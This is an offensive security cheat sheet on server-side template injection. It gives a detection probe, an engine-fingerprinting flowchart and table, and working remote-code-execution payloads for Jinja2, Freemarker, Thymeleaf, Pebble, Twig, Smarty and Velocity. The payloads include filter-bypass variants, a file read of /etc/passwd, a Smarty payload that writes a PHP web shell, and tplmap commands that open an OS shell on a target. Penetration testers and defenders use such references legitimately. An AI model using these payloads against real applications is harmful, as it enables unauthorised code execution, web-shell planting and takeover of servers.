Server-Side Template Injection (SSTI)
SSTI is the one I get excited about. When a template engine evaluates user-controlled input, you're not just injecting data - you're injecting code. On most engines, that's a direct path to RCE. This is a critical finding every time.
Detection - The Polyglot Probe
One probe covers most engines and gives you enough signal to fingerprint:
${{<%['"}}%\.If the app throws an error or behaves unusually - you have SSTI. Then narrow down the engine with:
flowchart TD A["Inject: {{7*7}}"] --> B{Response has 49?} B -->|Yes| C["Inject: {{7*'7'}}"] B -->|No| D["Inject: ${7*7}"] C -->|49| E[Jinja2 / Twig] C -->|7777777| F[Jinja2 - Python] D -->|49| G[Freemarker / Smarty / Pebble] D -->|No| H["Inject: #{7*7}"] H -->|49| I[Ruby ERB / Slim] E --> J["Inject: {{config}}"] J -->|Config object| K[Jinja2 confirmed]
Quick Fingerprint Payloads
| Payload | Expected Output | Engine |
|---|---|---|
{{7*7}} | 49 | Jinja2, Twig |
${7*7} | 49 | Freemarker, Pebble, Smarty |
<%= 7*7 %> | 49 | ERB (Ruby), EJS (Node) |
#{7*7} | 49 | Ruby Slim, Thymeleaf |
{{7*'7'}} | 7777777 | Jinja2 (Python specific) |
${7*'7'} | Error / 49 | Freemarker |
*{7*7} | 49 | Thymeleaf (Spring) |
Jinja2 (Python - Flask, Django)
RCE via Class Hierarchy
# Access Python object model through Jinja2
# Get base class → subclasses → find subprocess / os
# Classic RCE chain
{{''.__class__.__mro__[1].__subclasses__()}}
# Find index of subprocess.Popen (varies per environment - enumerate)
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}
# Cleaner - use config or request globals
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.__class__.__init__.__globals__['os'].popen('whoami').read()}}
# If 'os' isn't directly in globals, walk the module tree
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
# (class 40 is often <type 'file'> in Python 2)
# lipsum filter - works in sandboxed environments
{{lipsum.__globals__['os'].popen('id').read()}}
# cycler object
{{cycler.__init__.__globals__.os.popen('id').read()}}
# joiner
{{joiner.__init__.__globals__.os.popen('id').read()}}Jinja2 Filter Bypasses
# When dots are filtered
{{''['__class__']['__mro__'][1]['__subclasses__']()}}
# When underscores are filtered
{{''['\x5f\x5fclass\x5f\x5f']}}
# When brackets are filtered
{% set x = ''.__class__ %}{{x}}
# attr() filter
{{''|attr('__class__')|attr('__mro__')|list}}Freemarker (Java)
// Basic execution
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
// Alternate
${"freemarker.template.utility.Execute"?new()("id")}
// With API access (Freemarker 2.3.17+)
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}Thymeleaf (Java - Spring)
Thymeleaf SSTI is Spring-specific. Look for __${expression}__::.x pattern:
// Fragment expression injection
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
// SpEL via preprocessed expression
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
// Full RCE
__${T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","id"})}__::.xPebble (Java)
// Pebble uses Java reflection
{{ variable.getClass().forName('java.lang.Runtime').getMethod('exec',''.class).invoke(variable.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id') }}
// Simpler with _env
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke((1).TYPE.forName('java.lang.Runtime').methods[7].invoke(null),cmd)
.inputStream.readAllBytes() %}
{{ bytes }}Twig (PHP)
// Information disclosure
{{_self}}
{{_self.env}}
// RCE via filter chain
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
// Or directly:
{{['id']|map('system')|join}}
{{['id']|filter('system')}}Smarty (PHP)
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('id')}Velocity (Java)
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.inputStream)
...Hunting for SSTI
SSTI shows up most often where user input appears in:
- Email templates ("Hello, {{first_name}}")
- Error pages that reflect the URL or request details
- Search results headers ("Results for: {{query}}")
- PDF/document generation from templates
- Marketing/notification template editors
# Automated SSTI detection
python3 tplmap.py -u "https://target.com/search?q=test"
python3 tplmap.py -u "https://target.com/search?q=test" --os-shell
# Burp extensions: J2EEScan, tplmap via active scanRelated
- XSS Overview - template injection vs DOM injection
- NoSQLi
- Host Header